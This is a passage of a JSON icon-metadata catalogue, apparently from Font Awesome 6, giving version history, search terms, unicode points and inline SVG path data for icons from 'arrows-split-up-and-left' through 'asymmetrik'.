        "path": "M256 96c38.4 0 73.7 13.5 101.3 36.1l-32.6 32.6c-4.6 4.6-5.9 11.5-3.5 17.4s8.3 9.9 14.8 9.9H448c8.8 0 16-7.2 16-16V64c0-6.5-3.9-12.3-9.9-14.8s-12.9-1.1-17.4 3.5l-34 34C363.4 52.6 312.1 32 256 32c-10.9 0-21.5 .8-32 2.3V99.2c10.3-2.1 21-3.2 32-3.2zM132.1 154.7l32.6 32.6c4.6 4.6 11.5 5.9 17.4 3.5s9.9-8.3 9.9-14.8V64c0-8.8-7.2-16-16-16H64c-6.5 0-12.3 3.9-14.8 9.9s-1.1 12.9 3.5 17.4l34 34C52.6 148.6 32 199.9 32 256c0 10.9 .8 21.5 2.3 32H99.2c-2.1-10.3-3.2-21-3.2-32c0-38.4 13.5-73.7 36.1-101.3zM477.7 224H412.8c2.1 10.3 3.2 21 3.2 32c0 38.4-13.5 73.7-36.1 101.3l-32.6-32.6c-4.6-4.6-11.5-5.9-17.4-3.5s-9.9 8.3-9.9 14.8V448c0 8.8 7.2 16 16 16H448c6.5 0 12.3-3.9 14.8-9.9s1.1-12.9-3.5-17.4l-34-34C459.4 363.4 480 312.1 480 256c0-10.9-.8-21.5-2.3-32zM256 416c-38.4 0-73.7-13.5-101.3-36.1l32.6-32.6c4.6-4.6 5.9-11.5 3.5-17.4s-8.3-9.9-14.8-9.9H64c-8.8 0-16 7.2-16 16l0 112c0 6.5 3.9 12.3 9.9 14.8s12.9 1.1 17.4-3.5l34-34C148.6 459.4 199.9 480 256 480c10.9 0 21.5-.8 32-2.3V412.8c-10.3 2.1-21 3.2-32 3.2z"
      }
    },
    "free": ["solid"]
  },
  "arrows-split-up-and-left": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["agile", "split"]
    },
    "styles": ["solid"],
    "unicode": "e4bc",
    "label": "Arrows Split Up And Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766328,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M246.6 150.6c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3l96-96c12.5-12.5 32.8-12.5 45.3 0l96 96c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L352 109.3V384c0 35.3 28.7 64 64 64h64c17.7 0 32 14.3 32 32s-14.3 32-32 32H416c-70.7 0-128-57.3-128-128c0-35.3-28.7-64-64-64H109.3l41.4 41.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0l-96-96c-12.5-12.5-12.5-32.8 0-45.3l96-96c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3L109.3 256H224c23.3 0 45.2 6.2 64 17.1V109.3l-41.4 41.4z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M246.6 150.6c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3l96-96c12.5-12.5 32.8-12.5 45.3 0l96 96c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L352 109.3V384c0 35.3 28.7 64 64 64h64c17.7 0 32 14.3 32 32s-14.3 32-32 32H416c-70.7 0-128-57.3-128-128c0-35.3-28.7-64-64-64H109.3l41.4 41.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0l-96-96c-12.5-12.5-12.5-32.8 0-45.3l96-96c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3L109.3 256H224c23.3 0 45.2 6.2 64 17.1V109.3l-41.4 41.4z"
      }
    },
    "free": ["solid"]
  },
  "arrows-to-circle": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "center",
        "concentrate",
        "coordinate",
        "coordination",
        "focal point",
        "focus"
      ]
    },
    "styles": ["solid"],
    "unicode": "e4bd",
    "label": "Arrows To Circle",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M9.4 9.4C21.9-3.1 42.1-3.1 54.6 9.4L160 114.7V96c0-17.7 14.3-32 32-32s32 14.3 32 32v96c0 4.3-.9 8.5-2.4 12.2c-1.6 3.7-3.8 7.3-6.9 10.3l-.1 .1c-3.1 3-6.6 5.3-10.3 6.9c-3.8 1.6-7.9 2.4-12.2 2.4H96c-17.7 0-32-14.3-32-32s14.3-32 32-32h18.7L9.4 54.6C-3.1 42.1-3.1 21.9 9.4 9.4zM256 256a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM114.7 352H96c-17.7 0-32-14.3-32-32s14.3-32 32-32h96 0l.1 0c8.8 0 16.7 3.6 22.5 9.3l.1 .1c3 3.1 5.3 6.6 6.9 10.3c1.6 3.8 2.4 7.9 2.4 12.2v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V397.3L54.6 502.6c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L114.7 352zM416 96c0-17.7 14.3-32 32-32s32 14.3 32 32v18.7L585.4 9.4c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3L525.3 160H544c17.7 0 32 14.3 32 32s-14.3 32-32 32H448c-8.8 0-16.8-3.6-22.6-9.3l-.1-.1c-3-3.1-5.3-6.6-6.9-10.3s-2.4-7.8-2.4-12.2l0-.1v0V96zM525.3 352L630.6 457.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L480 397.3V416c0 17.7-14.3 32-32 32s-32-14.3-32-32V320v0c0 0 0-.1 0-.1c0-4.3 .9-8.4 2.4-12.2c1.6-3.8 3.9-7.3 6.9-10.4c5.8-5.8 13.7-9.3 22.5-9.4c0 0 .1 0 .1 0h0 96c17.7 0 32 14.3 32 32s-14.3 32-32 32H525.3z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M9.4 9.4C21.9-3.1 42.1-3.1 54.6 9.4L160 114.7V96c0-17.7 14.3-32 32-32s32 14.3 32 32v96c0 4.3-.9 8.5-2.4 12.2c-1.6 3.7-3.8 7.3-6.9 10.3l-.1 .1c-3.1 3-6.6 5.3-10.3 6.9c-3.8 1.6-7.9 2.4-12.2 2.4H96c-17.7 0-32-14.3-32-32s14.3-32 32-32h18.7L9.4 54.6C-3.1 42.1-3.1 21.9 9.4 9.4zM256 256a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM114.7 352H96c-17.7 0-32-14.3-32-32s14.3-32 32-32h96 0l.1 0c8.8 0 16.7 3.6 22.5 9.3l.1 .1c3 3.1 5.3 6.6 6.9 10.3c1.6 3.8 2.4 7.9 2.4 12.2v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V397.3L54.6 502.6c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L114.7 352zM416 96c0-17.7 14.3-32 32-32s32 14.3 32 32v18.7L585.4 9.4c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3L525.3 160H544c17.7 0 32 14.3 32 32s-14.3 32-32 32H448c-8.8 0-16.8-3.6-22.6-9.3l-.1-.1c-3-3.1-5.3-6.6-6.9-10.3s-2.4-7.8-2.4-12.2l0-.1v0V96zM525.3 352L630.6 457.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L480 397.3V416c0 17.7-14.3 32-32 32s-32-14.3-32-32V320v0c0 0 0-.1 0-.1c0-4.3 .9-8.4 2.4-12.2c1.6-3.8 3.9-7.3 6.9-10.4c5.8-5.8 13.7-9.3 22.5-9.4c0 0 .1 0 .1 0h0 96c17.7 0 32 14.3 32 32s-14.3 32-32 32H525.3z"
      }
    },
    "free": ["solid"]
  },
  "arrows-to-dot": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["assembly point", "center", "condense", "focus", "minimize"]
    },
    "styles": ["solid"],
    "unicode": "e4be",
    "label": "Arrows To Dot",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 0c17.7 0 32 14.3 32 32V64h32c12.9 0 24.6 7.8 29.6 19.8s2.2 25.7-6.9 34.9l-64 64c-12.5 12.5-32.8 12.5-45.3 0l-64-64c-9.2-9.2-11.9-22.9-6.9-34.9s16.6-19.8 29.6-19.8h32V32c0-17.7 14.3-32 32-32zM169.4 393.4l64-64c12.5-12.5 32.8-12.5 45.3 0l64 64c9.2 9.2 11.9 22.9 6.9 34.9s-16.6 19.8-29.6 19.8H288v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448H192c-12.9 0-24.6-7.8-29.6-19.8s-2.2-25.7 6.9-34.9zM32 224H64V192c0-12.9 7.8-24.6 19.8-29.6s25.7-2.2 34.9 6.9l64 64c12.5 12.5 12.5 32.8 0 45.3l-64 64c-9.2 9.2-22.9 11.9-34.9 6.9s-19.8-16.6-19.8-29.6V288H32c-17.7 0-32-14.3-32-32s14.3-32 32-32zm297.4 54.6c-12.5-12.5-12.5-32.8 0-45.3l64-64c9.2-9.2 22.9-11.9 34.9-6.9s19.8 16.6 19.8 29.6v32h32c17.7 0 32 14.3 32 32s-14.3 32-32 32H448v32c0 12.9-7.8 24.6-19.8 29.6s-25.7 2.2-34.9-6.9l-64-64zM256 224a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 0c17.7 0 32 14.3 32 32V64h32c12.9 0 24.6 7.8 29.6 19.8s2.2 25.7-6.9 34.9l-64 64c-12.5 12.5-32.8 12.5-45.3 0l-64-64c-9.2-9.2-11.9-22.9-6.9-34.9s16.6-19.8 29.6-19.8h32V32c0-17.7 14.3-32 32-32zM169.4 393.4l64-64c12.5-12.5 32.8-12.5 45.3 0l64 64c9.2 9.2 11.9 22.9 6.9 34.9s-16.6 19.8-29.6 19.8H288v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448H192c-12.9 0-24.6-7.8-29.6-19.8s-2.2-25.7 6.9-34.9zM32 224H64V192c0-12.9 7.8-24.6 19.8-29.6s25.7-2.2 34.9 6.9l64 64c12.5 12.5 12.5 32.8 0 45.3l-64 64c-9.2 9.2-22.9 11.9-34.9 6.9s-19.8-16.6-19.8-29.6V288H32c-17.7 0-32-14.3-32-32s14.3-32 32-32zm297.4 54.6c-12.5-12.5-12.5-32.8 0-45.3l64-64c9.2-9.2 22.9-11.9 34.9-6.9s19.8 16.6 19.8 29.6v32h32c17.7 0 32 14.3 32 32s-14.3 32-32 32H448v32c0 12.9-7.8 24.6-19.8 29.6s-25.7 2.2-34.9-6.9l-64-64zM256 224a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "arrows-to-eye": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["center", "coordinated assessment", "focus"]
    },
    "styles": ["solid"],
    "unicode": "e4bf",
    "label": "Arrows To Eye",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M15 15C24.4 5.7 39.6 5.7 49 15l63 63V40c0-13.3 10.7-24 24-24s24 10.7 24 24v96c0 13.3-10.7 24-24 24H40c-13.3 0-24-10.7-24-24s10.7-24 24-24H78.1L15 49C5.7 39.6 5.7 24.4 15 15zM133.5 243.9C158.6 193.6 222.7 112 320 112s161.4 81.6 186.5 131.9c3.8 7.6 3.8 16.5 0 24.2C481.4 318.4 417.3 400 320 400s-161.4-81.6-186.5-131.9c-3.8-7.6-3.8-16.5 0-24.2zM320 320a64 64 0 1 0 0-128 64 64 0 1 0 0 128zM591 15c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-63 63H600c13.3 0 24 10.7 24 24s-10.7 24-24 24H504c-13.3 0-24-10.7-24-24V40c0-13.3 10.7-24 24-24s24 10.7 24 24V78.1l63-63zM15 497c-9.4-9.4-9.4-24.6 0-33.9l63-63H40c-13.3 0-24-10.7-24-24s10.7-24 24-24h96c13.3 0 24 10.7 24 24v96c0 13.3-10.7 24-24 24s-24-10.7-24-24V433.9L49 497c-9.4 9.4-24.6 9.4-33.9 0zm576 0l-63-63V472c0 13.3-10.7 24-24 24s-24-10.7-24-24V376c0-13.3 10.7-24 24-24h96c13.3 0 24 10.7 24 24s-10.7 24-24 24H561.9l63 63c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M15 15C24.4 5.7 39.6 5.7 49 15l63 63V40c0-13.3 10.7-24 24-24s24 10.7 24 24v96c0 13.3-10.7 24-24 24H40c-13.3 0-24-10.7-24-24s10.7-24 24-24H78.1L15 49C5.7 39.6 5.7 24.4 15 15zM133.5 243.9C158.6 193.6 222.7 112 320 112s161.4 81.6 186.5 131.9c3.8 7.6 3.8 16.5 0 24.2C481.4 318.4 417.3 400 320 400s-161.4-81.6-186.5-131.9c-3.8-7.6-3.8-16.5 0-24.2zM320 320a64 64 0 1 0 0-128 64 64 0 1 0 0 128zM591 15c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-63 63H600c13.3 0 24 10.7 24 24s-10.7 24-24 24H504c-13.3 0-24-10.7-24-24V40c0-13.3 10.7-24 24-24s24 10.7 24 24V78.1l63-63zM15 497c-9.4-9.4-9.4-24.6 0-33.9l63-63H40c-13.3 0-24-10.7-24-24s10.7-24 24-24h96c13.3 0 24 10.7 24 24v96c0 13.3-10.7 24-24 24s-24-10.7-24-24V433.9L49 497c-9.4 9.4-24.6 9.4-33.9 0zm576 0l-63-63V472c0 13.3-10.7 24-24 24s-24-10.7-24-24V376c0-13.3 10.7-24 24-24h96c13.3 0 24 10.7 24 24s-10.7 24-24 24H561.9l63 63c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0z"
      }
    },
    "free": ["solid"]
  },
  "arrows-turn-right": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrows"]
    },
    "styles": ["solid"],
    "unicode": "e4c0",
    "label": "Arrows Turn Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M297.4 9.4c12.5-12.5 32.8-12.5 45.3 0l96 96c12.5 12.5 12.5 32.8 0 45.3l-96 96c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L338.7 160H128c-35.3 0-64 28.7-64 64v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V224C0 153.3 57.3 96 128 96H338.7L297.4 54.6c-12.5-12.5-12.5-32.8 0-45.3zm-96 256c12.5-12.5 32.8-12.5 45.3 0l96 96c12.5 12.5 12.5 32.8 0 45.3l-96 96c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L242.7 416H96c-17.7 0-32 14.3-32 32v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448c0-53 43-96 96-96H242.7l-41.4-41.4c-12.5-12.5-12.5-32.8 0-45.3z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M297.4 9.4c12.5-12.5 32.8-12.5 45.3 0l96 96c12.5 12.5 12.5 32.8 0 45.3l-96 96c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L338.7 160H128c-35.3 0-64 28.7-64 64v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V224C0 153.3 57.3 96 128 96H338.7L297.4 54.6c-12.5-12.5-12.5-32.8 0-45.3zm-96 256c12.5-12.5 32.8-12.5 45.3 0l96 96c12.5 12.5 12.5 32.8 0 45.3l-96 96c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L242.7 416H96c-17.7 0-32 14.3-32 32v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448c0-53 43-96 96-96H242.7l-41.4-41.4c-12.5-12.5-12.5-32.8 0-45.3z"
      }
    },
    "free": ["solid"]
  },
  "arrows-turn-to-dots": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["destination", "nexus"]
    },
    "styles": ["solid"],
    "unicode": "e4c1",
    "label": "Arrows Turn To Dots",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M249.4 25.4c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3L269.3 96 416 96c53 0 96 43 96 96v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V192c0-17.7-14.3-32-32-32l-146.7 0 25.4 25.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0l-80-80c-12.5-12.5-12.5-32.8 0-45.3l80-80zm13.3 256l80 80c12.5 12.5 12.5 32.8 0 45.3l-80 80c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L242.7 416 96 416c-17.7 0-32 14.3-32 32v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448c0-53 43-96 96-96l146.7 0-25.4-25.4c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0zM384 384a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM64 192A64 64 0 1 1 64 64a64 64 0 1 1 0 128z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M249.4 25.4c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3L269.3 96 416 96c53 0 96 43 96 96v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V192c0-17.7-14.3-32-32-32l-146.7 0 25.4 25.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0l-80-80c-12.5-12.5-12.5-32.8 0-45.3l80-80zm13.3 256l80 80c12.5 12.5 12.5 32.8 0 45.3l-80 80c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L242.7 416 96 416c-17.7 0-32 14.3-32 32v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448c0-53 43-96 96-96l146.7 0-25.4-25.4c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0zM384 384a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM64 192A64 64 0 1 1 64 64a64 64 0 1 1 0 128z"
      }
    },
    "free": ["solid"]
  },
  "arrows-up-down": {
    "aliases": {
      "names": ["arrows-v"],
      "unicodes": {
        "secondary": ["10f07d"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["expand", "portrait", "resize", "tall", "vertical"]
    },
    "styles": ["solid"],
    "unicode": "f07d",
    "label": "Arrows Up Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766328,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M182.6 9.4c-12.5-12.5-32.8-12.5-45.3 0l-96 96c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L128 109.3V402.7L86.6 361.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l96 96c12.5 12.5 32.8 12.5 45.3 0l96-96c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L192 402.7V109.3l41.4 41.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-96-96z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M182.6 9.4c-12.5-12.5-32.8-12.5-45.3 0l-96 96c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L128 109.3V402.7L86.6 361.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l96 96c12.5 12.5 32.8 12.5 45.3 0l96-96c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L192 402.7V109.3l41.4 41.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-96-96z"
      }
    },
    "free": ["solid"]
  },
  "arrows-up-down-left-right": {
    "aliases": {
      "names": ["arrows"],
      "unicodes": {
        "secondary": ["10f047"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "arrow",
        "arrows",
        "bigger",
        "enlarge",
        "expand",
        "fullscreen",
        "move",
        "position",
        "reorder",
        "resize"
      ]
    },
    "styles": ["solid"],
    "unicode": "f047",
    "label": "Arrows Up Down Left Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M278.6 9.4c-12.5-12.5-32.8-12.5-45.3 0l-64 64c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l9.4-9.4V224H109.3l9.4-9.4c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-64 64c-12.5 12.5-12.5 32.8 0 45.3l64 64c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-9.4-9.4H224V402.7l-9.4-9.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l64 64c12.5 12.5 32.8 12.5 45.3 0l64-64c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-9.4 9.4V288H402.7l-9.4 9.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l64-64c12.5-12.5 12.5-32.8 0-45.3l-64-64c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l9.4 9.4H288V109.3l9.4 9.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-64-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M278.6 9.4c-12.5-12.5-32.8-12.5-45.3 0l-64 64c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l9.4-9.4V224H109.3l9.4-9.4c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-64 64c-12.5 12.5-12.5 32.8 0 45.3l64 64c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-9.4-9.4H224V402.7l-9.4-9.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l64 64c12.5 12.5 32.8 12.5 45.3 0l64-64c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-9.4 9.4V288H402.7l-9.4 9.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l64-64c12.5-12.5 12.5-32.8 0-45.3l-64-64c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l9.4 9.4H288V109.3l9.4 9.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-64-64z"
      }
    },
    "free": ["solid"]
  },
  "arrows-up-to-line": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["rise", "scale up"]
    },
    "styles": ["solid"],
    "unicode": "e4c2",
    "label": "Arrows Up To Line",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M32 96l512 0c17.7 0 32-14.3 32-32s-14.3-32-32-32L32 32C14.3 32 0 46.3 0 64S14.3 96 32 96zM9.4 233.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L96 237.3 96 448c0 17.7 14.3 32 32 32s32-14.3 32-32l0-210.7 41.4 41.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-96-96c-12.5-12.5-32.8-12.5-45.3 0l-96 96zm320 45.3c12.5 12.5 32.8 12.5 45.3 0L416 237.3 416 448c0 17.7 14.3 32 32 32s32-14.3 32-32l0-210.7 41.4 41.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-96-96c-12.5-12.5-32.8-12.5-45.3 0l-96 96c-12.5 12.5-12.5 32.8 0 45.3z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M32 96l512 0c17.7 0 32-14.3 32-32s-14.3-32-32-32L32 32C14.3 32 0 46.3 0 64S14.3 96 32 96zM9.4 233.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L96 237.3 96 448c0 17.7 14.3 32 32 32s32-14.3 32-32l0-210.7 41.4 41.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-96-96c-12.5-12.5-32.8-12.5-45.3 0l-96 96zm320 45.3c12.5 12.5 32.8 12.5 45.3 0L416 237.3 416 448c0 17.7 14.3 32 32 32s32-14.3 32-32l0-210.7 41.4 41.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-96-96c-12.5-12.5-32.8-12.5-45.3 0l-96 96c-12.5 12.5-12.5 32.8 0 45.3z"
      }
    },
    "free": ["solid"]
  },
  "artstation": {
    "changes": ["5.6.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f77a",
    "label": "Artstation",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014480,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M2 377.4l43 74.3A51.35 51.35 0 0 0 90.9 480h285.4l-59.2-102.6zM501.8 350L335.6 59.3A51.38 51.38 0 0 0 290.2 32h-88.4l257.3 447.6 40.7-70.5c1.9-3.2 21-29.7 2-59.1zM275 304.5l-115.5-200L44 304.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M2 377.4l43 74.3A51.35 51.35 0 0 0 90.9 480h285.4l-59.2-102.6zM501.8 350L335.6 59.3A51.38 51.38 0 0 0 290.2 32h-88.4l257.3 447.6 40.7-70.5c1.9-3.2 21-29.7 2-59.1zM275 304.5l-115.5-200L44 304.5z"
      }
    },
    "free": ["brands"]
  },
  "asterisk": {
    "aliases": {
      "unicodes": {
        "composite": ["2731", "f069"],
        "primary": ["f069"],
        "secondary": ["102a", "10f069"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Asterisk",
        "Heavy Asterisk",
        "annotation",
        "details",
        "reference",
        "star"
      ]
    },
    "styles": ["solid"],
    "unicode": "2a",
    "label": "Asterisk",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767247,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M192 32c17.7 0 32 14.3 32 32V199.5l111.5-66.9c15.2-9.1 34.8-4.2 43.9 11s4.2 34.8-11 43.9L254.2 256l114.3 68.6c15.2 9.1 20.1 28.7 11 43.9s-28.7 20.1-43.9 11L224 312.5V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V312.5L48.5 379.4c-15.2 9.1-34.8 4.2-43.9-11s-4.2-34.8 11-43.9L129.8 256 15.5 187.4c-15.2-9.1-20.1-28.7-11-43.9s28.7-20.1 43.9-11L160 199.5V64c0-17.7 14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M192 32c17.7 0 32 14.3 32 32V199.5l111.5-66.9c15.2-9.1 34.8-4.2 43.9 11s4.2 34.8-11 43.9L254.2 256l114.3 68.6c15.2 9.1 20.1 28.7 11 43.9s-28.7 20.1-43.9 11L224 312.5V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V312.5L48.5 379.4c-15.2 9.1-34.8 4.2-43.9-11s-4.2-34.8 11-43.9L129.8 256 15.5 187.4c-15.2-9.1-20.1-28.7-11-43.9s28.7-20.1 43.9-11L160 199.5V64c0-17.7 14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "asymmetrik": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f372",
    "label": "Asymmetrik, Ltd.",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014474,
